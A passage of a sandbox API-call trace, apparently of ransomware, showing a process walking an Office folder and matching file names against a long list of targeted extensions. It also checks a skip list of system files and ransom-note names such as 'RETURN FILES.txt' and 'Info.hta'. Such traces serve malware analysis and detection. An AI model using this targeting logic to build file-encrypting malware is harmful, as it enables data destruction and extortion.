(lpString1=".ai4", lpString2=".GIF") returned -1 [0264.706] lstrlenW (lpString=".ai5") returned 4 [0264.706] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0264.706] lstrlenW (lpString=".ai6") returned 4 [0264.706] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0264.706] lstrlenW (lpString=".ai7") returned 4 [0264.706] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0264.706] lstrlenW (lpString=".ai8") returned 4 [0264.706] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0264.706] lstrlenW (lpString=".anim") returned 5 [0264.706] lstrcmpiW (lpString1=".anim", lpString2="D.GIF") returned -1 [0264.706] lstrlenW (lpString=".arw") returned 4 [0264.706] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0264.706] lstrlenW (lpString=".as") returned 3 [0264.706] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0264.706] lstrlenW (lpString=".asa") returned 4 [0264.706] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0264.706] lstrlenW (lpString=".asc") returned 4 [0264.706] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0264.706] lstrlenW (lpString=".ascx") returned 5 [0264.706] lstrcmpiW (lpString1=".ascx", lpString2="D.GIF") returned -1 [0264.706] lstrlenW (lpString=".asm") returned 4 [0264.706] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0264.706] lstrlenW (lpString=".asmx") returned 5 [0264.706] lstrcmpiW (lpString1=".asmx", lpString2="D.GIF") returned -1 [0264.707] lstrlenW (lpString=".asp") returned 4 [0264.707] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0264.707] lstrlenW (lpString=".aspx") returned 5 [0264.707] lstrcmpiW (lpString1=".aspx", lpString2="D.GIF") returned -1 [0264.707] lstrlenW (lpString=".asr") returned 4 [0264.707] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0264.707] lstrlenW (lpString=".asx") returned 4 [0264.707] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0264.707] lstrlenW (lpString=".avi") returned 4 [0264.707] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0264.707] lstrlenW (lpString=".avs") returned 4 [0264.707] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0264.707] lstrlenW (lpString=".backup") returned 7 [0264.707] lstrcmpiW (lpString1=".backup", lpString2="ADD.GIF") returned -1 [0264.707] lstrlenW (lpString=".bak") returned 4 [0264.707] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0264.707] lstrlenW (lpString=".bay") returned 4 [0264.707] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0264.707] lstrlenW (lpString=".bd") returned 3 [0264.707] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0264.707] lstrlenW (lpString=".bin") returned 4 [0264.707] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0264.707] lstrlenW (lpString=".bmp") returned 4 [0264.707] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0264.707] lstrlenW (lpString=".bz2") returned 4 [0264.707] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0264.708] lstrlenW (lpString=".c") returned 2 [0264.708] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0264.708] lstrlenW (lpString=".cdr") returned 4 [0264.708] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0264.708] lstrlenW (lpString=".cer") returned 4 [0264.708] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0264.708] lstrlenW (lpString=".cf") returned 3 [0264.708] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0264.708] lstrlenW (lpString=".cfc") returned 4 [0264.708] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0264.708] lstrlenW (lpString=".cfm") returned 4 [0264.708] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0264.708] lstrlenW (lpString=".cfml") returned 5 [0264.708] lstrcmpiW (lpString1=".cfml", lpString2="D.GIF") returned -1 [0264.708] lstrlenW (lpString=".cfu") returned 4 [0264.708] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0264.708] lstrlenW (lpString=".chm") returned 4 [0264.708] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0264.708] lstrlenW (lpString=".cin") returned 4 [0264.708] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0264.708] lstrlenW (lpString=".class") returned 6 [0264.708] lstrcmpiW (lpString1=".class", lpString2="DD.GIF") returned -1 [0264.708] lstrlenW (lpString=".clx") returned 4 [0264.708] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0264.708] lstrlenW (lpString=".config") returned 7 [0264.708] lstrcmpiW (lpString1=".config", lpString2="ADD.GIF") returned -1 [0264.708] lstrlenW (lpString=".cpp") returned 4 [0264.708] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0264.708] lstrlenW (lpString=".cr2") returned 4 [0264.708] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0264.708] lstrlenW (lpString=".crt") returned 4 [0264.708] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0264.708] lstrlenW (lpString=".crw") returned 4 [0264.708] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".cs") returned 3 [0264.709] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0264.709] lstrlenW (lpString=".css") returned 4 [0264.709] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".csv") returned 4 [0264.709] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".cub") returned 4 [0264.709] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".dae") returned 4 [0264.709] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".dat") returned 4 [0264.709] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".db") returned 3 [0264.709] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0264.709] lstrlenW (lpString=".dbf") returned 4 [0264.709] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".dbx") returned 4 [0264.709] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".dc3") returned 4 [0264.709] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".dcm") returned 4 [0264.709] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".dcr") returned 4 [0264.709] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".der") returned 4 [0264.709] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".dib") returned 4 [0264.709] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".dic") returned 4 [0264.709] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".dif") returned 4 [0264.709] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0264.709] lstrlenW (lpString=".divx") returned 5 [0264.709] lstrcmpiW (lpString1=".divx", lpString2="D.GIF") returned -1 [0264.710] lstrlenW (lpString=".djvu") returned 5 [0264.710] lstrcmpiW (lpString1=".djvu", lpString2="D.GIF") returned -1 [0264.710] lstrlenW (lpString=".dng") returned 4 [0264.710] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0264.710] lstrlenW (lpString=".doc") returned 4 [0264.710] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0264.710] lstrlenW (lpString=".docm") returned 5 [0264.710] lstrcmpiW (lpString1=".docm", lpString2="D.GIF") returned -1 [0264.710] lstrlenW (lpString=".docx") returned 5 [0264.710] lstrcmpiW (lpString1=".docx", lpString2="D.GIF") returned -1 [0264.710] lstrlenW (lpString=".dot") returned 4 [0264.710] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0264.710] lstrlenW (lpString=".dotm") returned 5 [0264.710] lstrcmpiW (lpString1=".dotm", lpString2="D.GIF") returned -1 [0264.710] lstrlenW (lpString=".dotx") returned 5 [0264.710] lstrcmpiW (lpString1=".dotx", lpString2="D.GIF") returned -1 [0264.710] lstrlenW (lpString=".dpx") returned 4 [0264.710] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0264.710] lstrlenW (lpString=".dqy") returned 4 [0264.710] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0264.710] lstrlenW (lpString=".dsn") returned 4 [0264.710] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0264.710] lstrlenW (lpString=".dt") returned 3 [0264.710] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0264.710] lstrlenW (lpString=".dtd") returned 4 [0264.710] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0264.710] lstrlenW (lpString=".dwg") returned 4 [0264.710] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0264.710] lstrlenW (lpString=".dwt") returned 4 [0264.710] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0264.710] lstrlenW (lpString=".dx") returned 3 [0264.710] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0264.710] lstrlenW (lpString=".dxf") returned 4 [0264.710] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0264.711] lstrlenW (lpString=".edml") returned 5 [0264.711] lstrcmpiW (lpString1=".edml", lpString2="D.GIF") returned -1 [0264.711] lstrlenW (lpString=".efd") returned 4 [0264.711] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0264.711] lstrlenW (lpString=".elf") returned 4 [0264.711] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0264.711] lstrlenW (lpString=".emf") returned 4 [0264.711] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0264.711] lstrlenW (lpString=".emz") returned 4 [0264.711] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0264.711] lstrlenW (lpString=".epf") returned 4 [0264.711] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0264.711] lstrlenW (lpString=".eps") returned 4 [0264.711] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0264.711] lstrlenW (lpString=".epsf") returned 5 [0264.711] lstrcmpiW (lpString1=".epsf", lpString2="D.GIF") returned -1 [0264.711] lstrlenW (lpString=".epsp") returned 5 [0264.711] lstrcmpiW (lpString1=".epsp", lpString2="D.GIF") returned -1 [0264.711] lstrlenW (lpString=".erf") returned 4 [0264.711] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0264.711] lstrlenW (lpString=".exr") returned 4 [0264.711] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0264.711] lstrlenW (lpString=".f4v") returned 4 [0264.711] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0264.711] lstrlenW (lpString=".fido") returned 5 [0264.711] lstrcmpiW (lpString1=".fido", lpString2="D.GIF") returned -1 [0264.711] lstrlenW (lpString=".flm") returned 4 [0264.711] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0264.711] lstrlenW (lpString=".flv") returned 4 [0264.711] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0264.711] lstrlenW (lpString=".frm") returned 4 [0264.711] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0264.712] lstrlenW (lpString=".fxg") returned 4 [0264.712] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0264.712] lstrlenW (lpString=".geo") returned 4 [0264.712] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0264.712] lstrlenW (lpString=".gif") returned 4 [0264.712] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0264.712] lstrlenW (lpString="ADD.GIF") returned 7 [0264.712] lstrlenW (lpString=".MERS") returned 5 [0264.712] lstrcmpiW (lpString1=".MERS", lpString2="D.GIF") returned -1 [0264.712] lstrlenW (lpString="ADD.GIF") returned 7 [0264.712] lstrcmpiW (lpString1="boot.ini", lpString2="ADD.GIF") returned 1 [0264.712] lstrcmpiW (lpString1="bootfont.bin", lpString2="ADD.GIF") returned 1 [0264.712] lstrcmpiW (lpString1="ntldr", lpString2="ADD.GIF") returned 1 [0264.712] lstrcmpiW (lpString1="ntdetect.com", lpString2="ADD.GIF") returned 1 [0264.712] lstrcmpiW (lpString1="io.sys", lpString2="ADD.GIF") returned 1 [0264.712] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="ADD.GIF") returned 1 [0264.712] lstrcmpiW (lpString1="Info.hta", lpString2="ADD.GIF") returned 1 [0264.712] lstrcmpiW (lpString1="chrome64b.exe", lpString2="ADD.GIF") returned 1 [0264.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF") returned 90 [0264.712] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0264.712] lstrlenW (lpString="AddToViewArrow.jpg") returned 18 [0264.712] lstrlenW (lpString=".1cd") returned 4 [0264.712] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0264.712] lstrlenW (lpString=".3ds") returned 4 [0264.712] lstrcmpiW (lpString1=".3ds", lpString2=".jpg") returned -1 [0264.712] lstrlenW (lpString=".3fr") returned 4 [0264.712] lstrcmpiW (lpString1=".3fr", lpString2=".jpg") returned -1 [0264.712] lstrlenW (lpString=".3g2") returned 4 [0264.712] lstrcmpiW (lpString1=".3g2", lpString2=".jpg") returned -1 [0264.712] lstrlenW (lpString=".3gp") returned 4 [0264.712] lstrcmpiW (lpString1=".3gp", lpString2=".jpg") returned -1 [0264.713] lstrlenW (lpString=".7z") returned 3 [0264.713] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0264.713] lstrlenW (lpString=".accda") returned 6 [0264.713] lstrcmpiW (lpString1=".accda", lpString2="ow.jpg") returned -1 [0264.713] lstrlenW (lpString=".accdb") returned 6 [0264.713] lstrcmpiW (lpString1=".accdb", lpString2="ow.jpg") returned -1 [0264.713] lstrlenW (lpString=".accdc") returned 6 [0264.713] lstrcmpiW (lpString1=".accdc", lpString2="ow.jpg") returned -1 [0264.713] lstrlenW (lpString=".accde") returned 6 [0264.713] lstrcmpiW (lpString1=".accde", lpString2="ow.jpg") returned -1 [0264.713] lstrlenW (lpString=".accdt") returned 6 [0264.713] lstrcmpiW (lpString1=".accdt", lpString2="ow.jpg") returned -1 [0264.713] lstrlenW (lpString=".accdw") returned 6 [0264.713] lstrcmpiW (lpString1=".accdw", lpString2="ow.jpg") returned -1 [0264.713] lstrlenW (lpString=".adb") returned 4 [0264.713] lstrcmpiW (lpString1=".adb", lpString2=".jpg") returned -1 [0264.713] lstrlenW (lpString=".adp") returned 4 [0264.713] lstrcmpiW (lpString1=".adp", lpString2=".jpg") returned -1 [0264.713] lstrlenW (lpString=".ai") returned 3 [0264.713] lstrcmpiW (lpString1=".ai", lpString2="jpg") returned -1 [0264.713] lstrlenW (lpString=".ai3") returned 4 [0264.713] lstrcmpiW (lpString1=".ai3", lpString2=".jpg") returned -1 [0264.713] lstrlenW (lpString=".ai4") returned 4 [0264.713] lstrcmpiW (lpString1=".ai4", lpString2=".jpg") returned -1 [0264.713] lstrlenW (lpString=".ai5") returned 4 [0264.713] lstrcmpiW (lpString1=".ai5", lpString2=".jpg") returned -1 [0264.713] lstrlenW (lpString=".ai6") returned 4 [0264.713] lstrcmpiW (lpString1=".ai6", lpString2=".jpg") returned -1 [0264.713] lstrlenW (lpString=".ai7") returned 4 [0264.713] lstrcmpiW (lpString1=".ai7", lpString2=".jpg") returned -1 [0264.713] lstrlenW (lpString=".ai8") returned 4 [0264.713] lstrcmpiW (lpString1=".ai8", lpString2=".jpg") returned -1 [0264.713] lstrlenW (lpString=".anim") returned 5 [0264.713] lstrcmpiW (lpString1=".anim", lpString2="w.jpg") returned -1 [0264.713] lstrlenW (lpString=".arw") returned 4 [0264.714] lstrcmpiW (lpString1=".arw", lpString2=".jpg") returned -1 [0264.714] lstrlenW (lpString=".as") returned 3 [0264.714] lstrcmpiW (lpString1=".as", lpString2="jpg") returned -1 [0264.714] lstrlenW (lpString=".asa") returned 4 [0264.714] lstrcmpiW (lpString1=".asa", lpString2=".jpg") returned -1 [0264.714] lstrlenW (lpString=".asc") returned 4 [0264.714] lstrcmpiW (lpString1=".asc", lpString2=".jpg") returned -1 [0264.714] lstrlenW (lpString=".ascx") returned 5 [0264.714] lstrcmpiW (lpString1=".ascx", lpString2="w.jpg") returned -1 [0264.714] lstrlenW (lpString=".asm") returned 4 [0264.714] lstrcmpiW (lpString1=".asm", lpString2=".jpg") returned -1 [0264.714] lstrlenW (lpString=".asmx") returned 5 [0264.714] lstrcmpiW (lpString1=".asmx", lpString2="w.jpg") returned -1 [0264.714] lstrlenW (lpString=".asp") returned 4 [0264.714] lstrcmpiW (lpString1=".asp", lpString2=".jpg") returned -1 [0264.714] lstrlenW (lpString=".aspx") returned 5 [0264.714] lstrcmpiW (lpString1=".aspx", lpString2="w.jpg") returned -1 [0264.714] lstrlenW (lpString=".asr") returned 4 [0264.714] lstrcmpiW (lpString1=".asr", lpString2=".jpg") returned -1 [0264.714] lstrlenW (lpString=".asx") returned 4 [0264.714] lstrcmpiW (lpString1=".asx", lpString2=".jpg") returned -1 [0264.714] lstrlenW (lpString=".avi") returned 4 [0264.714] lstrcmpiW (lpString1=".avi", lpString2=".jpg") returned -1 [0264.714] lstrlenW (lpString=".avs") returned 4 [0264.714] lstrcmpiW (lpString1=".avs", lpString2=".jpg") returned -1 [0264.714] lstrlenW (lpString=".backup") returned 7 [0264.714] lstrcmpiW (lpString1=".backup", lpString2="row.jpg") returned -1 [0264.714] lstrlenW (lpString=".bak") returned 4 [0264.714] lstrcmpiW (lpString1=".bak", lpString2=".jpg") returned -1 [0264.714] lstrlenW (lpString=".bay") returned 4 [0264.714] lstrcmpiW (lpString1=".bay", lpString2=".jpg") returned -1 [0264.714] lstrlenW (lpString=".bd") returned 3 [0264.714] lstrcmpiW (lpString1=".bd", lpString2="jpg") returned -1 [0264.714] lstrlenW (lpString=".bin") returned 4 [0264.714] lstrcmpiW (lpString1=".bin", lpString2=".jpg") returned -1 [0264.715] lstrlenW (lpString=".bmp") returned 4 [0264.715] lstrcmpiW (lpString1=".bmp", lpString2=".jpg") returned -1 [0264.715] lstrlenW (lpString=".bz2") returned 4 [0264.715] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0264.715] lstrlenW (lpString=".c") returned 2 [0264.715] lstrcmpiW (lpString1=".c", lpString2="pg") returned -1 [0264.715] lstrlenW (lpString=".cdr") returned 4 [0264.715] lstrcmpiW (lpString1=".cdr", lpString2=".jpg") returned -1 [0264.715] lstrlenW (lpString=".cer") returned 4 [0264.715] lstrcmpiW (lpString1=".cer", lpString2=".jpg") returned -1 [0264.715] lstrlenW (lpString=".cf") returned 3 [0264.715] lstrcmpiW (lpString1=".cf", lpString2="jpg") returned -1 [0264.715] lstrlenW (lpString=".cfc") returned 4 [0264.715] lstrcmpiW (lpString1=".cfc", lpString2=".jpg") returned -1 [0264.715] lstrlenW (lpString=".cfm") returned 4 [0264.715] lstrcmpiW (lpString1=".cfm", lpString2=".jpg") returned -1 [0264.715] lstrlenW (lpString=".cfml") returned 5 [0264.715] lstrcmpiW (lpString1=".cfml", lpString2="w.jpg") returned -1 [0264.715] lstrlenW (lpString=".cfu") returned 4 [0264.715] lstrcmpiW (lpString1=".cfu", lpString2=".jpg") returned -1 [0264.715] lstrlenW (lpString=".chm") returned 4 [0264.715] lstrcmpiW (lpString1=".chm", lpString2=".jpg") returned -1 [0264.715] lstrlenW (lpString=".cin") returned 4 [0264.715] lstrcmpiW (lpString1=".cin", lpString2=".jpg") returned -1 [0264.715] lstrlenW (lpString=".class") returned 6 [0264.715] lstrcmpiW (lpString1=".class", lpString2="ow.jpg") returned -1 [0264.715] lstrlenW (lpString=".clx") returned 4 [0264.715] lstrcmpiW (lpString1=".clx", lpString2=".jpg") returned -1 [0264.715] lstrlenW (lpString=".config") returned 7 [0264.715] lstrcmpiW (lpString1=".config", lpString2="row.jpg") returned -1 [0264.716] lstrlenW (lpString=".cpp") returned 4 [0264.716] lstrcmpiW (lpString1=".cpp", lpString2=".jpg") returned -1 [0264.716] lstrlenW (lpString=".cr2") returned 4 [0264.716] lstrcmpiW (lpString1=".cr2", lpString2=".jpg") returned -1 [0264.716] lstrlenW (lpString=".crt") returned 4 [0264.716] lstrcmpiW (lpString1=".crt", lpString2=".jpg") returned -1 [0264.716] lstrlenW (lpString=".crw") returned 4 [0264.716] lstrcmpiW (lpString1=".crw", lpString2=".jpg") returned -1 [0264.716] lstrlenW (lpString=".cs") returned 3 [0264.716] lstrcmpiW (lpString1=".cs", lpString2="jpg") returned -1 [0264.716] lstrlenW (lpString=".css") returned 4 [0264.716] lstrcmpiW (lpString1=".css", lpString2=".jpg") returned -1 [0264.716] lstrlenW (lpString=".csv") returned 4 [0264.716] lstrcmpiW (lpString1=".csv", lpString2=".jpg") returned -1 [0264.716] lstrlenW (lpString=".cub") returned 4 [0264.716] lstrcmpiW (lpString1=".cub", lpString2=".jpg") returned -1 [0264.716] lstrlenW (lpString=".dae") returned 4 [0264.716] lstrcmpiW (lpString1=".dae", lpString2=".jpg") returned -1 [0264.716] lstrlenW (lpString=".dat") returned 4 [0264.716] lstrcmpiW (lpString1=".dat", lpString2=".jpg") returned -1 [0264.716] lstrlenW (lpString=".db") returned 3 [0264.716] lstrcmpiW (lpString1=".db", lpString2="jpg") returned -1 [0264.716] lstrlenW (lpString=".dbf") returned 4 [0264.716] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0264.716] lstrlenW (lpString=".dbx") returned 4 [0264.716] lstrcmpiW (lpString1=".dbx", lpString2=".jpg") returned -1 [0264.716] lstrlenW (lpString=".dc3") returned 4 [0264.716] lstrcmpiW (lpString1=".dc3", lpString2=".jpg") returned -1 [0264.716] lstrlenW (lpString=".dcm") returned 4 [0264.716] lstrcmpiW (lpString1=".dcm", lpString2=".jpg") returned -1 [0264.717] lstrlenW (lpString=".dcr") returned 4 [0264.717] lstrcmpiW (lpString1=".dcr", lpString2=".jpg") returned -1 [0264.717] lstrlenW (lpString=".der") returned 4 [0264.717] lstrcmpiW (lpString1=".der", lpString2=".jpg") returned -1 [0264.717] lstrlenW (lpString=".dib") returned 4 [0264.717] lstrcmpiW (lpString1=".dib", lpString2=".jpg") returned -1 [0264.717] lstrlenW (lpString=".dic") returned 4 [0264.717] lstrcmpiW (lpString1=".dic", lpString2=".jpg") returned -1 [0264.717] lstrlenW (lpString=".dif") returned 4 [0264.717] lstrcmpiW (lpString1=".dif", lpString2=".jpg") returned -1 [0264.717] lstrlenW (lpString=".divx") returned 5 [0264.717] lstrcmpiW (lpString1=".divx", lpString2="w.jpg") returned -1 [0264.717] lstrlenW (lpString=".djvu") returned 5 [0264.717] lstrcmpiW (lpString1=".djvu", lpString2="w.jpg") returned -1 [0264.717] lstrlenW (lpString=".dng") returned 4 [0264.717] lstrcmpiW (lpString1=".dng", lpString2=".jpg") returned -1 [0264.717] lstrlenW (lpString=".doc") returned 4 [0264.717] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0264.717] lstrlenW (lpString=".docm") returned 5 [0264.717] lstrcmpiW (lpString1=".docm", lpString2="w.jpg") returned -1 [0264.717] lstrlenW (lpString=".docx") returned 5 [0264.717] lstrcmpiW (lpString1=".docx", lpString2="w.jpg") returned -1 [0264.717] lstrlenW (lpString=".dot") returned 4 [0264.717] lstrcmpiW (lpString1=".dot", lpString2=".jpg") returned -1 [0264.717] lstrlenW (lpString=".dotm") returned 5 [0264.717] lstrcmpiW (lpString1=".dotm", lpString2="w.jpg") returned -1 [0264.717] lstrlenW (lpString=".dotx") returned 5 [0264.717] lstrcmpiW (lpString1=".dotx", lpString2="w.jpg") returned -1 [0264.718] lstrlenW (lpString=".dpx") returned 4 [0264.718] lstrcmpiW (lpString1=".dpx", lpString2=".jpg") returned -1 [0264.718] lstrlenW (lpString=".dqy") returned 4 [0264.718] lstrcmpiW (lpString1=".dqy", lpString2=".jpg") returned -1 [0264.718] lstrlenW (lpString=".dsn") returned 4 [0264.718] lstrcmpiW (lpString1=".dsn", lpString2=".jpg") returned -1 [0264.718] lstrlenW (lpString=".dt") returned 3 [0264.718] lstrcmpiW (lpString1=".dt", lpString2="jpg") returned -1 [0264.718] lstrlenW (lpString=".dtd") returned 4 [0264.718] lstrcmpiW (lpString1=".dtd", lpString2=".jpg") returned -1 [0264.718] lstrlenW (lpString=".dwg") returned 4 [0264.718] lstrcmpiW (lpString1=".dwg", lpString2=".jpg") returned -1 [0264.718] lstrlenW (lpString=".dwt") returned 4 [0264.718] lstrcmpiW (lpString1=".dwt", lpString2=".jpg") returned -1 [0264.718] lstrlenW (lpString=".dx") returned 3 [0264.718] lstrcmpiW (lpString1=".dx", lpString2="jpg") returned -1 [0264.718] lstrlenW (lpString=".dxf") returned 4 [0264.718] lstrcmpiW (lpString1=".dxf", lpString2=".jpg") returned -1 [0264.718] lstrlenW (lpString=".edml") returned 5 [0264.718] lstrcmpiW (lpString1=".edml", lpString2="w.jpg") returned -1 [0264.718] lstrlenW (lpString=".efd") returned 4 [0264.718] lstrcmpiW (lpString1=".efd", lpString2=".jpg") returned -1 [0264.718] lstrlenW (lpString=".elf") returned 4 [0264.718] lstrcmpiW (lpString1=".elf", lpString2=".jpg") returned -1 [0264.718] lstrlenW (lpString=".emf") returned 4 [0264.718] lstrcmpiW (lpString1=".emf", lpString2=".jpg") returned -1 [0264.718] lstrlenW (lpString=".emz") returned 4 [0264.718] lstrcmpiW (lpString1=".emz", lpString2=".jpg") returned -1 [0264.718] lstrlenW (lpString=".epf") returned 4 [0264.718] lstrcmpiW (lpString1=".epf", lpString2=".jpg") returned -1 [0264.718] lstrlenW (lpString=".eps") returned 4 [0264.719] lstrcmpiW (lpString1=".eps", lpString2=".jpg") returned -1 [0264.719] lstrlenW (lpString=".epsf") returned 5 [0264.719] lstrcmpiW (lpString1=".epsf", lpString2="w.jpg") returned -1 [0264.719] lstrlenW (lpString=".epsp") returned 5 [0264.719] lstrcmpiW (lpString1=".epsp", lpString2="w.jpg") returned -1 [0264.719] lstrlenW (lpString=".erf") returned 4 [0264.719] lstrcmpiW (lpString1=".erf", lpString2=".jpg") returned -1 [0264.719] lstrlenW (lpString=".exr") returned 4 [0264.719] lstrcmpiW (lpString1=".exr", lpString2=".jpg") returned -1 [0264.719] lstrlenW (lpString=".f4v") returned 4 [0264.719] lstrcmpiW (lpString1=".f4v", lpString2=".jpg") returned -1 [0264.719] lstrlenW (lpString=".fido") returned 5 [0264.719] lstrcmpiW (lpString1=".fido", lpString2="w.jpg") returned -1 [0264.719] lstrlenW (lpString=".flm") returned 4 [0264.719] lstrcmpiW (lpString1=".flm", lpString2=".jpg") returned -1 [0264.719] lstrlenW (lpString=".flv") returned 4 [0264.719] lstrcmpiW (lpString1=".flv", lpString2=".jpg") returned -1 [0264.719] lstrlenW (lpString=".frm") returned 4 [0264.719] lstrcmpiW (lpString1=".frm", lpString2=".jpg") returned -1 [0264.719] lstrlenW (lpString=".fxg") returned 4 [0264.719] lstrcmpiW (lpString1=".fxg", lpString2=".jpg") returned -1 [0264.719] lstrlenW (lpString=".geo") returned 4 [0264.719] lstrcmpiW (lpString1=".geo", lpString2=".jpg") returned -1 [0264.719] lstrlenW (lpString=".gif") returned 4 [0264.719] lstrcmpiW (lpString1=".gif", lpString2=".jpg") returned -1 [0264.719] lstrlenW (lpString=".grs") returned 4 [0264.719] lstrcmpiW (lpString1=".grs", lpString2=".jpg") returned -1 [0264.719] lstrlenW (lpString=".gz") returned 3 [0264.719] lstrcmpiW (lpString1=".gz", lpString2="jpg") returned -1 [0264.719] lstrlenW (lpString=".h") returned 2 [0264.720] lstrcmpiW (lpString1=".h", lpString2="pg") returned -1 [0264.720] lstrlenW (lpString=".hdr") returned 4 [0264.720] lstrcmpiW (lpString1=".hdr", lpString2=".jpg") returned -1 [0264.720] lstrlenW (lpString=".hpp") returned 4 [0264.720] lstrcmpiW (lpString1=".hpp", lpString2=".jpg") returned -1 [0264.720] lstrlenW (lpString=".hta") returned 4 [0264.720] lstrcmpiW (lpString1=".hta", lpString2=".jpg") returned -1 [0264.720] lstrlenW (lpString=".htc") 